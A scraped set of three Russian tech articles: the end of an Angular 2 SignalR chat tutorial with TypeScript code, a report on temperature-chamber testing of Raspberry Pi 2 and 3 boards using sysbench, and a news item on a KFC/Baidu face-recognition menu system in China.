sendEcho(str: string, Кому: string) { this.server.sendEcho(str, Кому); } // Отошлем сообщение по имени sendByName(message: string, Кому: string) { this.server.sendByName(message, Кому); } // Зарегистрироваться на сервере по имени connect(userName: string) { this.server.connect(userName); } } Теперь перейдем к созданию компонента: Компонент для отображения полученных сообщений и отправки сообщений import { Component, NgZone, ViewChild, AfterViewInit } from '@angular/core'; import { HelloHub } from '../services/HelloHubServise'; import { ChatMessage } from '../models/ForHelloHub'; import { SelectItem} from 'primeng/primeng'; import { Dropdown2 } from '../Dropdown/Dropdown'; @Component({ selector: 'p-HelloHubComponent', template: require('./SignalRHelloHub.html') }) export class HelloHubComponent { @ViewChild(Dropdown2) public dropdown: Dropdown2; public allMessages: ChatMessage[]; public Users: SelectItem[]; public selectedUser: string; public Message: string; public selectUsername: boolean=false; constructor(private _signalRService: HelloHub) { // Подключимся к событиям от сервиса this.subscribeToEvents(); // Получим все сообщения полученные за время существования страницы this.allMessages = this._signalRService.allMessages; // Получим данные о пользователях this.Users = _signalRService.Users; } // Метод отправки сообщений взависимости от выбранных данных public sendMessage() { if (this.dropdown.value == "") // Если Выбран "Всем" отправляем всем пользователям, кроме отправителя { this._signalRService.sendEcho(this.Message, ""); } else { // В 1С может быть несколько пользователей с одним именем if (!this.selectUsername) // Если не стоит галка "По Имени" то отправляем конкретному мользователю this._signalRService.sendEcho(this.Message, this.dropdown.value); else // отправляем сообщение всем пользователям с выбранным именем this._signalRService.sendByName(this.Message, this.dropdown.selectedOption.label); } this.Message = ""; } private subscribeToEvents(): void { let self = this; // Обновим данные о полученных сообщениях this._signalRService.onAddMessage.subscribe(() => { self.allMessages = this._signalRService.allMessages; }); // Обновим данные о пользователях this._signalRService.onChangeUser.subscribe(() => { this.Users = self._signalRService.Users; } ); } } Компонент просто считывает и обновляет данные по событию из Сервиса и отправляет сообщения через методы сервиса. Ну и покажем HTML код компонента. HTML шаблон <div class="container" id="MainMessage"> <form role="form" (ngSubmit)="sendMessage()"> <div class="form-group"> <textarea type="text" [(ngModel)]="Message" name="Message" class="form-control" placeholder="Сообщение"></textarea> </div> <div class="form-group"> <div class="btn-group open"> <button type="submit" class="btn btn-info">Отправить</button> </div> <div class="btn-group" id="users"> <p-dropdown2 [options]="Users" [(ngModel)]="selectedUser" name="dropdownUsers"></p-dropdown2> </div> <div class="btn-group" id="SendByName"> <div class="checkbox"> <label> <input type="checkbox" name="CheckBoxSendByName" [(ngModel)]="selectUsername" [disabled]="dropdown.value==''"> По имени </label> </div> </div> </div> </form> </div> <div class="row"> <div class="col-xs-12 col-md-8" id="GetingMessage"> <template ngFor let-item [ngForOf]="allMessages"> <div class='panel panel-primary'> <div class='panel-heading'> {{item.From.label}} от {{item.Sent.toLocaleString()}} </div> <div class='panel-body'> {{item.Message}} </div> </div> </template> </div> <div class="col-xs-6 col-md-4"> </div> </div> У нас есть форма для отправки сообщения, которая содержит textarea с привязкой свойства Message, dropdown с данными о подключенных пользователях, checkbox с привязкой selectUsername для отправки сообщения по имени. И есть блок с полученными сообщениями allMessages. Сам Html получился компактным, а весь код на очень приятном TypeScript. Обращу внимание на применение self внутри замыкания. Это связано с JS. Сам компилятор TS в JS генерирует: var _this = this; и заменяет var transport = this.chat.transport; на var transport = _this.chat.transport; Но для отладки удобно использовать промежуточную переменную let self = this; Исходники можно посмотреть здесь . Ну и до кучи статья и шаблоны Create great looking, fast, mobile apps using JavaScript, Angular 2, and Ionic 2 Angular 2 наступает по всем фронтам
https://habrahabr.ru/post/318480/
habrahabr
Диапазон рабочих температур Raspberry Pi. Результаты тестов
['raspberry pi']
Постановка задачи Популярный одноплатный компьютер Raspberry Pi применяется в различных промышленных приложениях [3] и находит все новые применения. В сети довольно много информации по оценке и...
Постановка задачи Популярный одноплатный компьютер Raspberry Pi применяется в различных промышленных приложениях [3] и находит все новые применения. В сети довольно много информации по оценке и сравнению производительности систем [4], однако промышленные заказчики хотят знать диапазон рабочих температур. Производитель такой информации не предоставляет. Предпринятые энтузиастами испытания на воздействия внешних факторов [5, 6] решают несколько другие задачи. Целью нашего исследования была оценка диапазона рабочих температур одноплатного компьютера Raspberry Pi. Испытаниям подвергнуты Raspberry Pi 3 Model B и Raspberry Pi 2 Model B. Во время подготовки статьи появилась новая версия Raspberry Pi 2 Model B V1.2 с процессором BCM2837, мы тестировали RPi 2 V1.1 с процессором BCM2836. Исследования проведены сотрудниками и студентами МГТУ им. Баумана по заказу компании RS Components Russia, которая бесплатно предоставила образцы для тестирования, в рамках летней стажировки 2016 года в компании Совтест АТЕ [13]. Условия эксперимента Большинство компонентов на платах Raspberry Pi 3 Model B и Raspberry Pi 2 Model B имеют индустриальный температурный диапазон -40℃…+85℃. Представляет практический интерес провести испытания плат в более широком температурном диапазоне от -55℃ до +110℃ и оценить границы их работоспособности. Схема экспериментальной установки приведена на рис. 1. Одноплатные компьютеры Raspberry Pi помещались в камеру тепла-холода TCT-811. RPi 2 подключались к маршрутизатору LP-Link TL-WR720N по Ethernet, а RPi 3 — по Wi-Fi. Питание плат осуществлялось посредством USB адаптеров. Управление платами и сбор данных осуществлялись через SSH доступ с компьютера оператора. Рисунок 1. Схема экспериментальной установки температурного тестирования В качестве операционной системы использовалась Raspbian, как основная рекомендуемая и поддерживаемая производителем. Тестирование производительности осуществлялось при помощи утилиты SysBench — модульного, кроссплатформенного многопотокового приложения, позволяющего быстро оценить параметры системы для работы под высокой нагрузкой. Данные тестов записывались на внутреннюю память платы, а затем по запросу копировались на компьютер оператора. В качестве носителя данных была использована SD-карта памяти QUMO 32GB Class 10. Ход эксперимента Испытание проводились следующим образом. Платы помещались в камеру и подключались согласно схеме на рис. 1. Затем задавался алгоритм изменения температура в камере. Камера программировалась на ступенчатое повышение температуры сначала от комнатной +23℃ до +110℃, затем на быстрое охлаждение до комнатной и дальнейшее ступенчатое понижение температуры до -50℃ (рис. 2). Всего реализовано 19 этапов измерений с шагом температуры между этапами в 10℃ (Таблица 1). Номер этапа тестирования 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Температура в камере на этапе, ℃ +23 +30 +40 +50 +60 +70 +80 +90 +100 +110 +106 +27 -20 -25 -30 -35 -40 -45 -50 На каждом этапе тестирования в камере сначала устанавливалась соответствующая температура, затем платы выдерживались при этой температуре в выключенном состоянии около 6 минут. Далее платы практически одновременно включались, на каждой запускался тест Sysbench, и дополнительно проводилось измерение температуры процессора. После завершения тестов платы выключались и повторно выдерживались 1-2 минуты при той же температуре, прежде чем камера переходила к следующему этапу. Скорость изменения температуры между этапами составляла примерно 1℃/мин. Рисунок 2. Изменение температуры в камере в течении испытаний Каждый полный этап прохождения теста Sysbench состоял из последовательного запуска трех модулей: теста процессора, теста памяти и теста потоков. Результатом работы каждого модуля Sysbench было определение времени его выполнения в секундах. Опишем подробнее каждый из тестов. Тест процессора (--test=cpu) Sysbench использует 64х-битные целые для расчета простых чисел до значения, заданного параметром --cpu-max-primes . Так же возможно задание нескольких потоков, но мы пользовались значением по умолчанию — одним потоком. Тест памяти (--test=threads) выделяет буфер памяти и производит операции чтения или записи. Количество данных, прочитанных или записанных за одну операцию, определяется размером указателя 32 или 64 бит. Процесс повторяется, пока не будет обработан заданный объем (--memory-total-size) . Возможно задать количество потоков (--num-threads) , размер буфера (--memory-block-size) и тип операции (чтение или запись --memory-oper=[read | write] ). Тест потоков (--test=memory) проверяет работу процессора в условиях большого количества конкурирующих потоков. Тест заключается в создании нескольких потоков (--num-threads) и нескольких мутексов (--thread-locks) . Далее каждый поток начинает генерировать запросы, которые блокируют мутекс, исполняют процессорные задачи (для симуляции реальной работы) и разблокируют мутекс. Для каждого запроса действия блокировки-исполнения-разблокировки выполняются несколько раз, количество которых задается параметром --thread-yields . Сокращенный текст bash-скрипта запуска модулей Sysbench с соответствующими параметрами приведен ниже: for count in {1..5} do sysbench --test=cpu --cpu-max-prime=1150 run sysbench --test=memory --memory-block-size=1M --memory-total-size=10G run sysbench --num-threads=64 --test=threads --thread-yields=1000 --thread-locks=8 run vcgencmd measure_temp done Значения температуры процессора в градусах Цельсия выводились с его встроенного датчика. Вывод показаний встроенного датчика температуры осуществлялись командой vcgencmd measure_temp . Результаты эксперимента Результаты тестов Sysbench приведены на рисунке 3. На каждом этапе тест Sysbench повторялся последовательно 5 раз, данные производительности усреднялись по результатам 5 тестов. Значения температуры процессора взяты максимальные из измеренных на каждом этапе. Рисунок 3. Результаты тестов Sysbench на одноплатных компьютерах Raspberry Pi 3 и Raspberry Pi 2 На рисунке 3 видно, что картина производительности на всех трех тестах практически одинакова как для RPi 3, так и для RPi 2. В диапазоне температур от -35℃ до +50℃ плата RPi 3 работает примерно в 1,6 раза быстрее, чем RPi 2, что согласуется с результатами официальных тестов производительности [4]. При достижении температурного порога процессора, заданного в файлах конфигурации, по умолчанию это +85℃, запускается механизм защиты процессора от перегрева за счет пропуска машинных тактов — дросселирование тактов или троттлинг [8]. Компьютеры переставали запускаться при разных значениях температуры: RPi 3 при температурах выше +90℃, а RPi 2 — при температурах выше +106℃. При температурах ниже 0℃ изменения производительности у обеих плат не происходит. При температурах ниже -35℃ плата RPi 3 и температурах ниже -45℃ плата RPi 2 перестают запускаться. Как при высоких, так и при низких температурах платы возобновляли свою работоспособность после снятия нагрузки – и возвращения в рабочий диапазон температур. Рисунок 4. Температура процессоров Raspberry Pi 3 и Raspberry Pi 2 при различной температуре окружающего воздуха в испытательной камере Значения температуры в испытательной камере и соответствующие значения температур процессоров плат RPi 2 и RPi 3 приведены на рисунке 4. Поскольку процессор RPi 3 греется сильнее, чем процессор RPi 2, пороговая температура троттлинга +85℃ в нем достигается при +50℃ окружающей среды, в то время как RPi 2 запускает троттлинг при температуре +70℃. Поэтому в результатах тестов мы видим, что на температурах более +50℃ RPi 3 уступает RPi 2 по производительности. При этих температурах рекомендуется использовать охлаждение процессора [8]. В проведенных испытаниях платы RPi 3 запускались и работали в диапазоне температур от -35℃ до +90℃, а платы RPi 2 – от -45℃ до +106℃. Эти диапазоны близки к индустриальному диапазону температур применяемых электронных компонентов -40…+85℃. Проведенное нами исследование не претендует на полноту и безусловность инженерных рекомендаций. На его результаты повлияли следующие условия и обстоятельства. Во-первых, проблемы вызвали SD-карты памяти, которые при работе часто давали сбои, для восстановления работоспособности карт их приходилось переформатировать и записывать образ системы повторно. Во-вторых, на сопоставимость результатов тестов RPi 2 и RPi 3 могли повлиять разные способы связи с платами: RPi 2 по Ethernet, а RPi 3 по Wi-Fi. В-третьих, параметры тестирования были выбраны таким образом, чтобы суммарное время испытаний укладывалось в период одного рабочего дня, поэтому мы не можем судить о сохранении работоспособности плат при более длительном воздействии температур. В-четвертых, испытания проводились не в сертифицированном центре и не в строгом соответствии с ГОСТ, хотя применяемая методика разработана на основе стандартов ГОСТ 28199-89 “Основные методы испытаний на воздействие внешних факторов. Часть 2. Испытания. Испытание А: Холод” и ГОСТ 28200-89 “Основные методы испытаний на воздействие внешних факторов. Часть 2. Испытания. Испытание В: Сухое тепло”. Результаты измерений и анализа относятся только к испытанным образцам и не могут быть распространены на другие изделия производителя. Результаты испытаний не могут являться основой для принятия решения в коммерческих и правовых вопросах деятельности организаций. В то же время авторы надеются, что приведенные результаты будут полезны инженерной общественности. Авторы Далер Арабов, МГТУ им. Баумана Павел Григорьев, МГТУ им. Баумана Литература 1. Сергеева А., Кривандин С. Одноплатный компьютер Raspberry Pi: от учебного пособия до промышленного контроллера. Компоненты и технологии. 2016. №4 2. Ермаков А. Raspberry Pi – эффективный инструмент снижения затрат при автоматизации бизнес-процессов. ИСУП.2016.№1 3. Применение Raspberry Pi и Arduino в промышленной среде 4. Тестирование Raspberry Pi 3 5. Термосъемка Raspberry Pi 3 6. Свежезамороженный Raspberry Pi 7. Троттлинг процессора или почему падает производительность 8. The Raspberry Pi 3 Does Not Halt and Catch Fire 9. Стажировка в Совтест
https://habrahabr.ru/post/318486/
habrahabr
«Умный ресторан» KFC в Китае по лицу угадывает предпочтения посетителей
['kfc', 'baidu', 'рестораны', 'кафе', 'общепит']
Технологии, которые используют коммерческие компании для повышения уровня продаж и оптимизации процесса взаимодействия с покупателями совершенствуются с каждым днем. Ряд компаний используют...
Технологии, которые используют коммерческие компании для повышения уровня продаж и оптимизации процесса взаимодействия с покупателями совершенствуются с каждым днем. Ряд компаний используют современные технологии для анализа своей работы, увеличения эффективности доставки товаров, оптимизации бюджета. Сказанное касается практически всех сфер — от продаж автомобилей до ресторанов. Что касается последних, то сейчас выделяется совместный проект компании KFC (китайского ее подразделения) и телекоммуникационного гиганта Baidu. Компания Baidu известна не только в Китае, но и за рубежом. Ей принадлежит ряд интернет-сервисов, кроме того, Baidu разрабатывает беспилотные автомобили, инструменты доставки товаров и прочие современные вещи. Сотрудничество с KFC выражается в предоставлении сети быстрого питания доступа к своим когнитивным сервисам. Ранее обе компании запустили в работу робота-официанта в Шанхае. Он мог принимать заказы от посетителей, распознавая речь и отправляя заказ на кухню. Сейчас стартовал новый проект, цель которого — облегчить голодному посетителю задачу выбора блюд. Технологии Baidu используются для того, чтобы сканировать лица посетителей KFC, оценивать их настроение, возраст. На основе всей этой информации нейросеть от Baidu старается предложить посетителю блюда, которые могли бы понравиться конкретному посетителю. То есть цель проекта — обеспечить индивидуальный подход к каждому посетителю. Если клиент — частый гость KFC, то компьютерная система анализирует предыдущие заказы пользователя, «смотрит», что человек заказывал во время предыдущих посещений и предлагает выбор блюд на основе предпочтений этого посетителя. Компания объясняет, что ее система может предложить мужчине в возрасте 20+ лет меню, в которое входит чикен-гамбургер, обжаренные куриные крылышки и сок для ланча. А вот 50-летней женщине та же система может предложить на завтрак кашу и соевое молоко. Пока что такая технология внедрена только в одном ресторане от KFC, речь о масштабировании технологии, распространении этого опыта на остальные рестораны сети не идет. Но обкатка «предиктивного меню» продолжается, и если все будет идти по плану, возможно, компания воспользуется технологиями Baidu для внедрения их в других своих точках быстрого питания. Сама технология далеко не уникальна. Например, системы анализа пользователей, создаваемые социальными и рекламными сетями (Google, Facebook и т.п.), гораздо более продвинуты в техническом плане, чем проект Baidu и KFC. Такие системы анализируют не только настроение или возраст пользователя, а также предположительный доход пользователя, род его занятий и семейное положение. Facebook, например, оценивает личность пользователя по 98 параметрам. В некоторых СМИ обращают внимание на то, что сбор информации о посетителях ресторана, а тем более, последующий анализ и хранение данных — это нарушение приватности человека. Возможно, это и так. Правда, в Китае к вопросу безопасности личных данных относятся не так трепетно, как в Европе, США и других регионах. В Китае сейчас идет реализация крупнейшего проекта, цель которого — централизованный сбор данных о гражданах Китая с выведением рейтинга благонадежности. Этот рейтинг будет определять для китайцев возможность получения доступа к определенным сервисам и службам, включая образование путешествия, страхования и кредиты. Если человек замечен, например, в попытке бесплатного проезда на метро, то его рейтинг благонадежности падает и он (или она) не может взять уже кредит в банке. «Социальный» рейтинг китайцев формируется на основе крайне широкого набора данных — от социального положения и обычных характеристик типа рост и вес до приводов в полицию, асоциальных поступков, благих дел и т.п. Над системой сейчас работает не только высшее руководство, но и администрация регионов. По-другому быть не может, поскольку система, которая умеет отслеживать 1,4 млрд человек сложная уже по умолчанию. Что касается ресторанов, то в Китае стремятся улучшить работу всех заведений общественного питания. В городе Янцин осуществляется пилотный проект — здесь устанавливают камеры на кухнях ресторанов и кафе. В залах пунктов общепита устанавливаются экраны, на котором показывается та самая кухня заведения, а также рейтинг, список ответственных за ресторан и качество приготовляемой в нем еды. В целом, когнитивные технологии сейчас очень быстро развиваются. Понятно, что проект KFC и Baidu — только начало. Он далеко не идеален. Можно предположить, что в будущем подобные системы будут установлены во многих кафе и ресторанах. Пока что инициаторы проекта ничего не говорят о распространении систем предиктивного составления меню в прочих точках KFC в Китае или остальных странах. Хотелось бы еще увидеть статистику работы «умного ресторана» — например, насколько часто система правильно угадывает предпочтения пользователей.
https://geektimes.ru/post/284086/